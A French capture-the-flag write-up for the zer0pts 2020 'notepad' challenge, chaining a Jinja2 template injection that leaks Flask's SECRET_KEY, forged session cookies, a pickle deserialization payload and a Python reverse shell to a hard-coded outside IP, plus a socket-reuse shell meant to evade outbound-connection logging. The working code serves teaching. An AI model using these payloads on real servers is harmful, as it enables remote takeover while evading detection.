zer0pts CTF 2020

Bonjour à tous, ce premier article de ChaigncHackademy a pour objectif d’expliquer la solution d’un des challenges que l’équipe a résolu lors de la compétition CTF japonaise nomée zer0pts. L’équipe a terminé en 50em position sur cette compétition de niveau international regroupant plus de 500 équipes dans le monde entier.

_config.yml

zer0pts web 2020 : notepad 326

Category: web | Name: notepad | Solves: 50 | Description: Remote Code Execution d’un serveur web python

TLDR: we exploited a restricted SSTI to leak SECRET_KEY, then we used the SECRET_KEY to forge Flask cookies. Within the session cookie we injected a python pickle object to archieve RCE.

Les opérations démontrées dans cet article ne doivent être réalisées qu’après avoir reçu l’accord explicite du propriétaire du système cible. En cas d’exploitation hors d’un cadre légal, la responsabilité de l’auteur ne pourra en être engagée.

Intro

Notepad est un challenge web intéressant pour commencer car on dispose du code source, qui est téléchargeable ici si vous désirez expérimenter également. Ce code app.py deploie une application python web grâce au framework Flask.

L’objectif est de prendre le controle du serveur en combinant deux vulnérabilités et ensuite lire le fichier flag.txt sur le serveur pour valider le challenge.

Résumé

Ci-dessous les étapes à suivre pour prendre le controle de ce serveur web:

  • Faire une injection de template jinja2 pour trouver le SECRET_KEY
  • Utiliser le SECRET_KEY pour forger des cookies Flask
  • Injecter l’object pickle stocké dans les cookies de session pour executer du code python
  • Faire un reverse shell pour executer des commands sur le serveur et sortir le flag

1 ) La vulnérabilité SSTI: Server Side Template Injection

Lors d’une erreur 404, le code suivant est utilisé. Ce code dispose d’une vulnerabilité classique assez connue.

html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

return flask.render_template_string(html), 404

Il s’agit d’une vulnerabilité du type SSTI: Server Side Template injection. En effet Flask permet l’utilisation de jinja2 pour générer du code html à partir d’un template, ces templates peuvent également contenir du code python. Donc un utilisateur controlant le contenu d’un de ces templates peut forcer l’execution de code python coté serveur.

Referer

Dans ce code le paramètre de la fonction flask.render_template_string est formaté avec le referer. Donc en injectant le referer par exemple avec le payload {{7*7}} on se retrouve avec 49 affiché sur la page car jinja2 interpréte en python tout ce qui se trouve entre {{ et }}.

_config.yml

Habituellement une vulnérabilité du type SSTI est suffisante pour prendre le controle total du seveur (RCE) mais avec ce challenge nous sommes limités au niveau des payloads autorisés. Par contre le payload {{config}} permet d’afficher les informations de configuration du service Flask, parmi ces informations se trouve "SECRET_KEY = '\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'"

2) Manipuler les cookies de session Flask

Le cookie de session de Flask ressemble a ci-dessous.

Cookie: session=.eJyNjN0KgkAQhV8l9gn8qRuhi8QdyWhlR2fNuTM2CF0lMBSK3j2UHqDLc77znbcYm-lmm2cjorfYXEUk2IOcU4W6dS2RmYwHqAli3T-5gmysfThVZMKlQ-nCsnrEVvqyvKDCVA2lQVadL_nFqunvW13CgItP0KFfeyzvgMbG6ydlW-14wO7Hg3muO1vdZDZy4NYNtYcdgZ5zE9M5cdokf-eikObIYMHq_V58Pl-KuEwD.EUVOgw.MrDJ86YWh82ztUne1EVterQh-qQ

Ce cookie est sérialisé, salé, chiffré, signé puis encodé par Flask, il n’est donc théoriquement pas possible pour un utilisateur de créer un cookie valide sans connaitre la clef de chiffrement secrete utilisée par Flask. Forte heureusement nous avons avec la SSTI trouvé la clef de chiffrement utilisée SECRET_KEY.

Pour comprendre quels algorithmes Flask utilise pour forger ses cookies je vous invite à lire le code source du framework directement ici. Flask repose sur la librairie python itsdangerous.

Une fois ces algorithmes assimilés vous pouvez utiliser directement les fonctions de Flask pour sérialiser et désérialiser des cookies avec le SECRET_KEY

from flask.sessions import SecureCookieSessionInterface

""" Une classe pour simuler une fausse app Flask """
class FlaskMockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key

""" Fonction pour générer des cookies "session_cookie_structure" avec l'aide d'une "secret_key" """
def session_cookie_encoder(secret_key, session_cookie_structure):
    try:
        app = FlaskMockApp(secret_key)
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)

        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error]{}".format(e)

Ci-dessous un exemple d’utilisation de cette fonction session_cookie_encoder pour créer un cookie de session contenant le contenu que l’on désire, par exemple ajouter une note avec le titre “ChaigncHackademy”.

# Clef utilisée pour générer le cookie
SECRET_KEY = b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
# Struture de données utilisée par l'application notepad
cookie = [{'date': '2020-03-07 16:08:28', 'text': '', 'title': 'ChaigncHackademy'}]
# Cette structure de données est sérialisée avec pickle, puis encodée en base64
cookie = base64.b64encode(pickle.dumps(cookie))
cookie = {'savedata': cookie}
# Finalement nous chiffrons le cookie avec les algorithms de Flask afin que le serveur puisse le lire
cookie = session_cookie_encoder(SECRET_KEY, cookie)
print('Created Cookie', cookie)

# Voici un example de cookie généré, si nous envoyons ce cookie au serveur il va nous afficher une note dont le titre est "ChaigncHackademy"
# Created Cookie .eJwtjEsKwjAUAK8iOUFjuyp0U8hrjRjJI5_27SIRiv0JlRYU7y6K2xlmXmwJ6zWGR2D5i-0uLGeUwJkqhfo23Kx1q0sAtYVSjw_yIJeWw9Fbl34ZiiE1_l5GwYVpUGGlJuOQVM8FPUmFscu0gQm_vYUeeZuQ6ABdLH9PKzM90IT93--3re2jvwq5EP-x0ho5hwoaqh2dqm72RiYB7rWbcPDCHQgiRF0U7P3-ALFiQoI.EUcu3w.AsfNxH-1DQkNW8LGNadRGYmYi8E

3) Serialiser des objects python avec pickle

Pickle fait partie des libraries standards de python, cette librarie permet de serializer et désérialiser des objets python sous forme binaire.

>>> import pickle
>>> # La fonction dumps va sérialiser en binaire l'object python qu'on lui donne en paramètre, en python tout est objet donc nous pouvons tout sérialiser.
>>> pickle.dumps(["a", "b", "c", "ChaigncHackademy", {1, 2}])
b'\x80\x03]q\x00(X\x01\x00\x00\x00aq\x01X\x01\x00\x00\x00bq\x02X\x01\x00\x00\x00cq\x03X\x10\x00\x00\x00ChaigncHackademyq\x04cbuiltins\nset\nq\x05]q\x06(K\x01K\x02e\x85q\x07Rq\x08e.'
>>> # La fonction loads va désérialiser une suite d'octets (bytes) pour recréer les objets python qui y sont stockés
>>> pickle.loads(b'\x80\x03]q\x00(X\x01\x00\x00\x00aq\x01X\x01\x00\x00\x00bq\x02X\x01\x00\x00\x00cq\x03X\x10\x00\x00\x00ChaigncHackademyq\x04cbuiltins\nset\nq\x05]q\x06(K\x01K\x02e\x85q\x07Rq\x08e.')
['a', 'b', 'c', 'ChaigncHackademy', {1, 2}]

Pickle est utilisé par les applications pour sauvegarder des informations sur le disque dur ou transmettre des informations sur le réseau par exemple dans les cookies de session.

Dans la documentation officiel de python il est écrit: Warning: The pickle module is not secure. Only unpickle data you trust.

En effet si un utilisateur controle les octets désérialisés alors il peut instancier les objets python qu’il désire et même executer des fonctions python sans notre permission.

import pickle
class Exploit(object):
    def __reduce__(self):
        import os
        return (os.system, ("id",))

exploit_code = pickle.dumps(Exploit())
# Au moment de la deserialisation la commande id est executée
pickle.loads(exploit_code)

Petite subtilité, le payload utilisé par pickle peut utiliser n’importe quelle librairie installée même si elle n’est pas déjà explicitement importée… :)

Python 2.7.17 (default, Jan 19 2020, 19:54:54) 
[GCC 9.2.1 20200110] on linux2
>>> import pickle
>>> pickle.loads("cposix\nsystem\np0\n(S'id'\np1\ntp2\nRp3\n.")
uid=1001(chaignc) gid=1002(chaignc) groups=1002(chaignc),27(sudo),146(vboxusers),148(libvirt),998(docker)

4) Reverse shell

Maintenant il suffit d’envoyer un cookie forgé avec un objet pickle délivrant nos commands pour prendre le controle du serveur, cependant ce serveur tourne dans un docker assez light, il n’y a pas ping, pas netcat … Par contre il y a python ce que nous pouvons utiliser pour faire un reverse shell.

class RunBinSh(object):
    import os
    def __reduce__(self):
      return (os.system, ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.191.225",17236));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""",))

binsh = base64.b64encode(pickle.dumps(RunBinSh()))
cookie = {'savedata': binsh}
cookie = session_cookie_encoder(SECRET_KEY, cookie)
print('Created Cookie', cookie)

Ce payload nous donne un shell qui nous permet de sortir le flag secret afin de valider le challenge.

5) Socket Reuse

Un reverse shell était suffisant pour ce challenge, mais imaginons qu’un mecanisme réseau logue les connexions sortantes et que nous voulons éviter d’être detecté. Une option est de réutiliser la connexion TCP déjà établie pour la requête HTTP, en effet cette socket n’est pas encore fermée.

class RunBinSh(object):
  def __reduce__(self):
    import subprocess
    fd = 5
    return (subprocess.Popen,
            (('/bin/sh',), # args
             0,            # bufsize
             None,         # executable
             fd, fd, fd    # std{in,out,err}
             ))

Ceci était le premier writeup, beaucoup de concepts ont été rapidement survolés nous les aborderons en détail dans les prochains articles.

@chaignc

Written on March 9, 2020